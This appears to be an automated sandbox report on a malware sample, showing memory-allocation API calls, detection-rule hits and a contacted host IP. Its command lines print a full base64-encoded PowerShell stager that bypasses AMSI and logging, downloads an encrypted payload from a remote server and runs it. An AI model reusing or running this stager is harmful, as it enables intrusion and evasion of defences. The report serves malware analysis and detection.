1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b12000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0225a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0226b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02267000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02252000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02265000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0225c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02930000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x021f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0226c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02253000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02254000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02255000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02256000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02257000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02258000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02259000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b93000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b94000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b95000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b96000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b97000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b98000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b99000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b9a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b9c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b9d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b9e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04b9f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05040000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05041000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05042000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05043000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2716
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05044000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAcwBJAE8AbgBUAEEAQgBMAEUALgBQAFMAVgBlAHIAUwBpAG8ATgAuAE0AYQBqAE8AUgAgAC0ARwBlACAAMwApAHsAJABCADcARgA0AD0AWwBSAEUARgBdAC4AQQBzAFMARQBtAGIAbABZAC4ARwBlAFQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkALgAiAEcAZQBUAEYAaQBlAGAAbABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAEYAKAAkAEIANwBGADQAKQB7ACQAYgAzADkAOQA9ACQAQgA3AEYANAAuAEcARQB0AFYAYQBsAHUARQAoACQATgB1AGwATAApADsASQBGACgAJABiADMAOQA5AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQAYgAzADkAOQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABCADMAOQA5AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAVgBhAGwAPQBbAEMAbwBsAEwARQBDAFQAaQBPAG4AUwAuAEcAZQBOAGUAUgBJAEMALgBEAEkAYwB0AEkAbwBOAGEAUgB5AFsAUwBUAFIASQBOAGcALABTAHkAUwB0AGUATQAuAE8AYgBqAEUAQwB0AF0AXQA6ADoAbgBlAHcAKAApADsAJAB2AGEATAAuAEEARABEACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnACwAMAApADsAJAB2AEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAGIAMwA5ADkAWwAnAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQA9ACQAdgBhAGwAfQBFAEwAcwBFAHsAWwBTAGMAcgBpAFAAVABCAEwATwBDAGsAXQAuACIARwBFAFQARgBpAGUAYABsAGQAIgAoACcAcwBpAGcAbgBhAHQAdQByAGUAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBsAFUARQAoACQAbgB1AEwAbAAsACgATgBFAHcALQBPAGIAagBlAEMAdAAgAEMATwBsAGwAZQBjAFQASQBvAG4AcwAuAEcAZQBOAGUAcgBpAEMALgBIAGEAcwBIAFMARQBUAFsAcwB0AFIASQBOAEcAXQApACkAfQAkAFIAZQBmAD0AWwBSAEUARgBdAC4AQQBzAFMARQBNAGIATABZAC4ARwBlAHQAVABZAFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAJwArACcAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAEUAdABGAEkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGACcAKwAnAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgB1AGwAbAAsACQAdABSAHUAZQApADsAfQA7AFsAUwBZAFMAVABFAE0ALgBOAGUAVAAuAFMARQByAHYASQBDAGUAUABvAEkATgB0AE0AYQBuAGEARwBFAFIAXQA6ADoARQBYAHAARQBDAHQAMQAwADAAQwBvAG4AdABpAG4AdQBFAD0AMAA7ACQARQBCAEQARAA9AE4ARQBXAC0ATwBiAGoAZQBjAFQAIABTAFkAcwB0AEUATQAuAE4AZQBUAC4AVwBFAEIAQwBMAEkAZQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQAZQBYAHQALgBFAE4AYwBPAEQAaQBOAGcAXQA6ADoAVQBOAGkAYwBPAGQARQAuAEcAZQBUAFMAVABSAGkAbgBnACgAWwBDAG8AbgB2AEUAcgB0AF0AOgA6AEYAUgBvAG0AQgBBAHMARQA2ADQAUwBUAHIAaQBuAEcAKAAnAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBAHgAQQBEAEEAQQBNAFEAQQA2AEEARABjAEEATgB3AEEAMwBBAEQAYwBBACcAKQApACkAOwAkAHQAPQAnAC8AbgBlAHcAcwAuAHAAaABwACcAOwAkAGUAQgBEAEQALgBIAEUAQQBkAEUAUgBTAC4AQQBEAEQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABFAEIARABkAC4AUAByAE8AeAB5AD0AWwBTAFkAUwB0AGUATQAuAE4ARQBUAC4AVwBlAEIAUgBFAFEAVQBlAHMAVABdADoAOgBEAEUARgBhAFUAbAB0AFcARQBCAFAAcgBvAHgAWQA7ACQAZQBiAEQARAAuAFAAUgBvAHgAWQAuAEMAUgBFAEQAZQBOAFQASQBBAEwAcwAgAD0AIABbAFMAeQBTAHQARQBtAC4ATgBFAHQALgBDAHIAZQBkAGUAbgBUAEkAQQBsAEMAQQBjAGgARQBdADoAOgBEAEUARgBBAFUAbAB0AE4ARQBUAHcAbwBSAEsAQwBSAEUARABFAE4AdABJAEEATABTADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAGUAYgBkAGQALgBQAHIAbwB4AHkAOwAkAEsAPQBbAFMAWQBzAFQAZQBtAC4AVABlAHgAVAAuAEUATgBjAG8ARABJAE4ARwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABCAHkAVABlAFMAKAAnAFMAQAA+AFoAfgBhAHAALABuAG8AZQAwAEoARABLAF0AbAAuACsAeQBGAD8AfQBMAE4APQBqADIAegB2AGIAVQAnACkAOwAkAFIAPQB7ACQARAAsACQASwA9ACQAQQByAGcAcwA7ACQAUwA9ADAALgAuADIANQA1ADsAMAAuAC4AMgA1ADUAfAAlAHsAJABKAD0AKAAkAEoAKwAkAFMAWwAkAF8AXQArACQASwBbACQAXwAlACQASwAuAEMAbwBVAE4AVABdACkAJQAyADUANgA7ACQAUwBbACQAXwBdACwAJABTAFsAJABKAF0APQAkAFMAWwAkAEoAXQAsACQAUwBbACQAXwBdAH0AOwAkAEQAfAAlAHsAJABJAD0AKAAkAEkAKwAxACkAJQAyADUANgA7ACQASAA9ACgAJABIACsAJABTAFsAJABJAF0AKQAlADIANQA2ADsAJABTAFsAJABJAF0ALAAkAFMAWwAkAEgAXQA9ACQAUwBbACQASABdACwAJABTAFsAJABJAF0AOwAkAF8ALQBiAFgAbwByACQAUwBbACgAJABTAFsAJABJAF0AKwAkAFMAWwAkAEgAXQApACUAMgA1ADYAXQB9AH0AOwAkAEUAYgBEAEQALgBIAEUAYQBEAEUAUgBzAC4AQQBEAGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAGYAUABxAEYAbQBnAEMAdwB2AG8APQAvAFgAKwBGAHUAbQBYAHIANwBQAHgAMgBTAGoATwB1AHQAOABTAGoAZQBsAG8ANAA2ADQANAA9ACIAKQA7ACQAZABhAFQAQQA9ACQARQBCAGQARAAuAEQATwB3AE4ATABvAGEARABEAGEAdABhACgAJABTAGUAUgArACQAVAApADsAJABJAHYAPQAkAEQAYQB0AGEAWwAwAC4ALgAzAF0AOwAkAGQAQQB0AEEAPQAkAEQAQQBUAEEAWwA0AC4ALgAkAEQAQQB0AGEALgBsAGUAbgBHAFQASABdADsALQBKAE8AaQBuAFsAQwBIAEEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText('C:\Users\test22\AppData\Local\Temp\Trial.bat')|iex"
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communication using DGA rule Network_DGA
description Match Windows Http API call rule Str_Win32_Http_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Steal credential rule local_credential_Steal
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description File Downloader rule Network_Downloader
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description Communications over P2P network rule Network_P2P_Win
host 193.117.208.101
file C:\Users\test22\AppData\Local\Temp\Trial.bat
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAcwBJAE8AbgBUAEEAQgBMAEUALgBQAFMAVgBlAHIAUwBpAG8ATgAuAE0AYQBqAE8AUgAgAC0ARwBlACAAMwApAHsAJABCADcARgA0AD0AWwBSAEUARgBdAC4AQQBzAFMARQBtAGIAbABZAC4ARwBlAFQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkALgAiAEcAZQBUAEYAaQBlAGAAbABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAEYAKAAkAEIANwBGADQAKQB7ACQAYgAzADkAOQA9ACQAQgA3AEYANAAuAEcARQB0AFYAYQBsAHUARQAoACQATgB1AGwATAApADsASQBGACgAJABiADMAOQA5AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQAYgAzADkAOQBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABCADMAOQA5AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAVgBhAGwAPQBbAEMAbwBsAEwARQBDAFQAaQBPAG4AUwAuAEcAZQBOAGUAUgBJAEMALgBEAEkAYwB0AEkAbwBOAGEAUgB5AFsAUwBUAFIASQBOAGcALABTAHkAUwB0AGUATQAuAE8AYgBqAEUAQwB0AF0AXQA6ADoAbgBlAHcAKAApADsAJAB2AGEATAAuAEEARABEACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnACwAMAApADsAJAB2AEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAGIAMwA5ADkAWwAnAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQA9ACQAdgBhAGwAfQBFAEwAcwBFAHsAWwBTAGMAcgBpAFAAVABCAEwATwBDAGsAXQAuACIARwBFAFQARgBpAGUAYABsAGQAIgAoACcAcwBpAGcAbgBhAHQAdQByAGUAcwAnACwAJwBOACcAKwAnAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBsAFUARQAoACQAbgB1AEwAbAAsACgATgBFAHcALQBPAGIAagBlAEMAdAAgAEMATwBsAGwAZQBjAFQASQBvAG4AcwAuAEcAZQBOAGUAcgBpAEMALgBIAGEAcwBIAFMARQBUAFsAcwB0AFIASQBOAEcAXQApACkAfQAkAFIAZQBmAD0AWwBSAEUARgBdAC4AQQBzAFMARQBNAGIATABZAC4ARwBlAHQAVABZAFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAJwArACcAVQB0AGkAbABzACcAKQA7ACQAUgBlAGYALgBHAEUAdABGAEkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGACcAKwAnAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgB1AGwAbAAsACQAdABSAHUAZQApADsAfQA7AFsAUwBZAFMAVABFAE0ALgBOAGUAVAAuAFMARQByAHYASQBDAGUAUABvAEkATgB0AE0AYQBuAGEARwBFAFIAXQA6ADoARQBYAHAARQBDAHQAMQAwADAAQwBvAG4AdABpAG4AdQBFAD0AMAA7ACQARQBCAEQARAA9AE4ARQBXAC0ATwBiAGoAZQBjAFQAIABTAFkAcwB0AEUATQAuAE4AZQBUAC4AVwBFAEIAQwBMAEkAZQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABzAGUAcgA9ACQAKABbAFQAZQBYAHQALgBFAE4AYwBPAEQAaQBOAGcAXQA6ADoAVQBOAGkAYwBPAGQARQAuAEcAZQBUAFMAVABSAGkAbgBnACgAWwBDAG8AbgB2AEUAcgB0AF0AOgA6AEYAUgBvAG0AQgBBAHMARQA2ADQAUwBUAHIAaQBuAEcAKAAnAGE